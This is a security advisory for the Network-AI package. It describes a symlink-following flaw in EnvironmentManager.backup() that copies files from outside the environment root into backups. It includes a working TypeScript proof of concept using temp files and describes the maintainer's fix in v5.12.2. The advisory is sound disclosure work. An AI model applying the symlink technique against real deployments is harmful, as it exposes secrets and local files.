Network-AI: EnvironmentManager.backup() follows symlinked directories and copies files outside the environment root into backups
Summary
EnvironmentManager.backup() recursively collects files using _collectBackupFiles(). _collectBackupFiles() uses statSync(full), which follows symlinks. If data/<env> contains a symlink to a directory outside the environment root, backup recursion follows the symlink and copies external files into data/<env>/.backups/<backupId>/.
An attacker who can place a symlink under the environment data directory can cause backup operations to disclose files outside the environment root into backup artifacts. Confirmed in Network-AI 5.12.1.
Details
backup() collects file paths and copies them into the backup directory:
```ts
const files = this._collectBackupFiles(envDir);
for (const rel of files) {
const src = join(envDir, rel);
const dst = join(backupPath, rel);
mkdirSync(join(backupPath, rel.includes('/') ? rel.substring(0, rel.lastIndexOf('/')) : '.'), { recursive: true });
try { copyFileSync(src, dst); } catch { /* skip unreadable */ }
}
```
_collectBackupFiles() follows symlinked directories because it calls statSync(), not lstatSync():
```ts
const info = statSync(full);
if (info.isDirectory()) {
walk(full, rel);
} else {
results.push(rel);
}
```
Default CLI reachability exists through network-ai env backup create --env <env>. backup() also runs automatically before promotion and restore operations.
Affected source evidence:
lib/env-manager.ts:435-460 — backup copy logic.lib/env-manager.ts:596-617 — symlink-following _collectBackupFiles().bin/cli.ts:413-420 — default CLI exposes backup creation.lib/env-manager.ts:294-297 and 483-484 — backup also runs before promote/restore.
PoC
This PoC uses only temporary files. It creates a symlink inside data/dev pointing to an external directory, then runs backup('dev') and observes that the external file is copied into the backup:
```bash
TMP=$(mktemp -d)
TMPBASE="$TMP" node -r ts-node/register/transpile-only - <<'TS'
const { EnvironmentManager } = require('./lib/env-manager');
const fs = require('fs');
const path = require('path');
const base = process.env.TMPBASE;
const data = path.join(base, 'data');
const outside = path.join(base, 'outside');
fs.mkdirSync(outside, { recursive: true });
fs.writeFileSync(path.join(outside, 'secret.txt'), 'secret-through-symlink');
const mgr = new EnvironmentManager(data, {
chain: ['dev', 'st'],
gates: { dev: 'auto', st: 'auto' },
});
mgr.init('dev');
fs.symlinkSync(outside, path.join(data, 'dev', 'linked-outside'), 'dir');
const result = mgr.backup('dev');
const copied = path.join(result.path, 'linked-outside', 'secret.txt');
console.log(JSON.stringify({
copied: fs.existsSync(copied),
content: fs.readFileSync(copied, 'utf8'),
}, null, 2));
fs.rmSync(base, { recursive: true, force: true });
TS
```
Observed result: copied is true and content is secret-through-symlink.
Impact
An attacker who can place a symlink in data/<env> can cause backup creation to copy arbitrary readable files from outside the environment root into data/<env>/.backups/<backupId>/. This can disclose secrets or local files to any actor/process that can later read or export Network-AI backup artifacts. No RCE chain was confirmed.
Resolution (maintainer)
Fixed in [v5.12.2](https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2) (commit a59c13a). Install: npm install [email protected] — published to npm with provenance.
_collectBackupFiles() now uses lstatSync instead of statSync and skips any entry where isSymbolicLink() is true. Symlinks are never traversed, so backup() can no longer follow a link out of the environment root and copy external files into a backup artifact.
All 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.
